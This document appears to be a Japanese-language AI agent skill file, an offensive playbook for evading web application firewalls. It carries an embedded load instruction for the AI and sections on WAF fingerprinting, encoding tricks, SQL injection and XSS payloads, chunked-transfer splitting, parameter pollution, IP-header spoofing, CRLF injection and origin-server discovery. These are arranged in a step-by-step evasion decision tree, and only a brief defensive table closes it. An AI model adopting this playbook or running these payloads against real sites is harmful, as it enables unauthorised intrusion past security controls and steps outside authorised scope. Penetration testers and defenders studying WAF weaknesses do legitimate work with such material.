waf-bypass-techniques

スキル：WAF バイパス手法 — 回避プレイブック

AI LOAD INSTRUCTION：WAF の特定、一般的なバイパスの分類（エンコーディング、プロトコルの悪用、HTTP/2、パラメーターポリューション）、および判断ツリーについて説明します。製品固有のバイパス手法（Cloudflare、AWS WAF、ModSecurity、Akamai など）については、WAF_PRODUCT_MATRIX.md を読み込んでください。ベースモデルは基本的なエンコーディングを提案しがちですが、プロトコルレベルのバイパスや WAF の挙動上の癖を見落とすことがあります。

0. 関連するルーティング

• WAF をバイパスした後に送信するペイロードについては、sqli-sql-injection を参照してください
• WAF 回避が必要な XSS ペイロードについては、xss-cross-site-scripting を参照してください
• リクエストス​​マグリングによって WAF を完全に迂回できる場合は、request-smuggling を参照してください
• http-parameter-pollution HPP 自体が WAF バイパスの基本手法です
• WAF がインラインスクリプトをブロックする一方で CSP バイパスが可能な場合は、csp-bypass-advanced を参照してください
• ghost-bits-cast-attack Java バックエンドのみ — 上記のエンコーディング手法がすべてブロックされる場合は、Ghost Bits を使用してください。Java の 16 ビット char から 8 ビット byte への縮小変換により、危険な ASCII バイトごとに 255 種類の Unicode バイパス候補が生成されます。これにより、Tomcat、Spring、Jetty、Jackson、Fastjson、BCEL などで、WAF によって修正済みの CVE が再び悪用可能になります

製品固有のリファレンス

Cloudflare、AWS WAF、ModSecurity CRS、Akamai、Imperva、F5 BIG-IP、Sucuri の製品ごとのバイパス手法が必要な場合は、WAF_PRODUCT_MATRIX.md を読み込んでください。

---

1. フェーズ 0 — WAF を特定する

バイパスする前に、何に対処しているかを把握してください。

1.1 ツール

ツール	使用方法
wafw00f target.com	レスポンスヘッダーや挙動から WAF ベンダーをフィンガープリントします
nmap --script=http-waf-detect	WAF 検出用の NSE スクリプト
手動でのヘッダー検査	Server、X-CDN、X-Cache、cf-ray（Cloudflare）、x-sucuri-id、x-akamai-*

1.2 挙動によるフィンガープリンティング

1. Send benign request → record baseline response (status, headers, body size)
2. Send obvious attack: /?q=<script>alert(1)</script>
3. Compare: 403? Custom block page? Redirect? Connection reset?
4. Block page content reveals WAF: "Cloudflare", "Access Denied (Imperva)", "ModSecurity"
5. If transparent proxy: check response time difference (WAF adds latency)

---

2. 一般的なバイパスの分類

2.1 エンコーディングによるバイパス

手法	例	回避できるもの
URL エンコーディング	%3Cscript%3E	基本的な文字列照合
二重 URL エンコーディング	%253Cscript%253E	1 回だけデコードする WAF と、2 回デコードするアプリ
Unicode エンコーディング	%u003Cscript%u003E	IIS 固有の Unicode 正規化
HTML エンティティ	<script> または <script>	HTML エンティティをデコードしない WAF
16 進エンコーディング（SQL）	0x756E696F6E = union	SQL キーワードを照合する WAF
8 進エンコーディング	\74script\76	一般的ではありませんが、一部のパーサーは処理します
オーバーロング UTF-8	%C0%BC（< の無効なエンコーディング）	UTF-8 を緩く処理するレガシーパーサー
大文字と小文字の混在	SeLeCt、uNiOn	大文字と小文字を区別するルール照合
ヌルバイト	sel%00ect	ヌルバイトで解析を停止する WAF

2.2 チャンク転送エンコーディング

ペイロードを HTTP チャンクに分割し、ブロックされるパターンが単一のチャンクに含まれないようにします。

POST /search HTTP/1.1
Transfer-Encoding: chunked

3
sel
3
ect
1
 
4
from
0

リクエストボディ全体を検査する WAF でも、照合前にチャンクを再構成しない場合があります。

2.3 HTTP/2 バイナリ形式によるバイパス

HTTP/2 は、ヘッダーを HPACK でエンコードしたバイナリフレームとして送信します。一部の WAF は、HTTP/1.1 にダウングレードした後にしか検査しません。

• ヘッダー名には HTTP/1.1 では不正となる文字を含められます
• 疑似ヘッダー（:method、:path）は、ヘッダーベースの WAF ルールを回避できます
• H2 → H1 のダウングレードにより、リクエストス​​マグリングが発生することがあります（request-smuggling を参照）

2.4 HTTP パラメーターポリューション（HPP）

重複パラメーターの扱いは、サーバーによって異なります。

サーバー	?a=1&a=2 の挙動
PHP/Apache	最後の値：a=2
ASP.NET/IIS	連結：a=1,2
Python/Flask	最初の値：a=1
Node.js/Express	配列：a=[1,2]

WAF は a=1（無害）を検査し、アプリは a=2（悪意のある値）を使用します。または、a=sel&a=ect → ASP.NET では a=sel,ect と認識されます。

2.5 IP ソース偽装（IP ベースのルールを回避）

一部の WAF／アプリがクライアント IP として信頼するヘッダー：

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1

ユースケース：WAF が内部 IP をホワイトリストに登録している場合や、送信元ごとに異なるルールセットを適用している場合です。

2.6 パス正規化のトリック

手法	例	効果
ドットセグメント	/./admin or /../target/admin	WAF が認識するパスとアプリが認識するパスが異なります
二重スラッシュ	//admin	一部の正規化処理では統合されますが、WAF では統合されない場合があります
パスの URL エンコード	/%61dmin	WAF はエンコードされた状態で認識し、アプリはデコードします
パス内のヌルバイト	/admin%00.jpg	レガシー環境では、アプリはヌルバイトで切り詰めますが、WAF は .jpg と認識します
バックスラッシュ（IIS）	/admin\..\/secret	IIS は \ を / として扱います
末尾のドット／空白	/admin. or /admin%20	OS レベルで正規化されます（Windows）
セミコロン（Tomcat）	/admin;jsessionid=x	Tomcat は ; 以降を削除しますが、WAF では削除されない場合があります

2.7 Content-Type の操作

WAF では、形式ごとに専用のパーサーを使うことがよくあります。Content-Type を切り替えるとルールを回避できる場合があります：

Default:  Content-Type: application/x-www-form-urlencoded  → WAF parses params
Switch:   Content-Type: application/json  → WAF may not parse JSON body
Switch:   Content-Type: multipart/form-data  → WAF may not inspect all parts
Switch:   Content-Type: text/xml  → WAF expects XML, payload in different format

トリック：アプリが JSON と form-urlencoded の両方を受け付ける場合は、JSON を使用します。WAF では JSON の検査ルールが弱いことがよくあります。

2.8 Multipart Boundary の悪用

Content-Type: multipart/form-data; boundary=----WAFBypass

------WAFBypass
Content-Disposition: form-data; name="q"

<script>alert(1)</script>
------WAFBypass--

バリエーション：長い boundary 文字列、特殊文字を含む boundary、最終 boundary の欠落、ネストされた multipart。

2.9 改行と空白の挿入

-- SQL keyword splitting
SEL
ECT * FROM users

-- SQL comment insertion
SEL/**/ECT * FR/**/OM users
UN/**/ION SEL/**/ECT 1,2,3

-- Tab/vertical tab as separator
SELECT\t*\tFROM\tusers

2.10 キーワードの分割と代替構文

ブロックされるもの	代替手段
UNION SELECT	UNION ALL SELECT、UNION DISTINCT SELECT
OR 1=1	OR 2>1、OR 'a'='a'、`
<script>	<svg/onload=alert(1)>、<img src=x onerror=alert(1)>
alert(1)	prompt(1)、confirm(1)、print()（Chrome）
eval()	Function('code')()、setTimeout('code',0)
' OR '1'='1	' OR 1-- -、'||'1
SLEEP(5)	BENCHMARK(5000000,SHA1('x'))、pg_sleep(5)

---

3. プロトコルレベルの回避手法

3.1 リクエスト行の悪用

GET /path?q=attack HTTP/1.1    ← WAF inspects

対

GET http://target.com/path?q=attack HTTP/1.1   ← Absolute URI: some WAFs miss the path

3.2 CRLF によるヘッダーインジェクション

WAF が元のヘッダーを検査する一方で、アプリが挿入されたヘッダーを処理する場合：

X-Custom: value\r\nX-Forwarded-For: 127.0.0.1

3.3 接続状態の回避

1. Establish connection through WAF (normal request)
2. On same keep-alive connection, send attack request
3. Some WAFs reduce inspection on subsequent requests in same connection

---

4. WAF 回避の判断ツリー

Payload blocked by WAF?
├── Identify WAF (wafw00f, response headers, block page)
│
├── Try encoding bypasses
│   ├── URL encode payload → still blocked?
│   ├── Double URL encode → still blocked?
│   ├── Unicode/overlong UTF-8 → still blocked?
│   ├── Mixed case keywords → still blocked?
│   └── HTML entities (for XSS) → still blocked?
│
├── Try protocol-level bypasses
│   ├── Switch Content-Type (JSON, multipart, XML)
│   │   └── App accepts alternate format? → re-send payload
│   ├── HTTP Parameter Pollution (duplicate params)
│   ├── Chunked Transfer-Encoding to split payload
│   ├── HTTP/2 direct if available (binary framing bypass)
│   └── Request line: absolute URI format
│
├── Try path-based bypasses
│   ├── Path normalization (/./path, //path, ;param)
│   ├── Different HTTP method (POST vs PUT vs PATCH)
│   └── Alternate endpoint serving same function
│
├── Try payload mutation
│   ├── SQL: comments (/**/), alternative functions, hex literals
│   ├── XSS: alternative tags/events, JS template literals
│   ├── RCE: wildcard abuse, string concatenation, variable expansion
│   └── Check WAF_PRODUCT_MATRIX.md for vendor-specific mutations
│
├── Try IP-source bypass
│   ├── X-Forwarded-For / True-Client-IP spoofing
│   ├── Access origin server directly (bypass CDN)
│   └── Find origin IP (Shodan, historical DNS, email headers)
│
└── Try request smuggling to skip WAF entirely
    └── See ../request-smuggling/SKILL.md

---

5. よくある間違いとトリックの注意点

1. 単に 200 OK を確認するのではなく、実際に悪用できるかをテストする：WAF は 200 を返しながら、ペイロードを黙って削除する場合があります。
2. WAF にはサイズ制限があることがよくあります：非常に大きなリクエストボディ（WAF によって異なりますが、8KB～128KB 超）は、検査を完全に回避できる場合があります。
3. レート制限 ≠ WAF：429 が返されるのはレート制限であり、ペイロードのブロックではありません。別の回避方法が必要です。
4. CDN キャッシュ：WAF が CDN レベルにある場合、以降のリクエストではキャッシュされたレスポンスが WAF を回避します。問題のないリクエストでキャッシュを汚染し、キャッシュを悪用します。
5. オリジンサーバーへの直接アクセス：CDN／WAF の背後にあるオリジン IP が見つかった場合は、直接接続します。WAF を完全に回避できます。
6. multipart ファイルアップロードのフィールド：WAF は multipart アップロード内のファイル内容を検査しないことがよくあります。反映される場合は、ファイル名またはファイル内容にペイロードを埋め込みます。

---

6. 防御の観点

対策	注意点
WAF とアプリケーションレベルの入力検証	WAF は防御の一層であり、根本的な解決策ではありません
パラメーター化クエリ	WAF に関係なく SQLi を防ぎます
CSP と出力エンコーディング	WAF に関係なく XSS を防ぎます
WAF ルールを定期的に更新する	ベンダーのシグネチャは、新しい回避手法への対応が遅れます
ブロックリストではなく、デフォルトで拒否する	有効な入力パターンを許可リストに登録します
WAF によるブロックを記録してアラートを出す	回避の試みはログで確認できます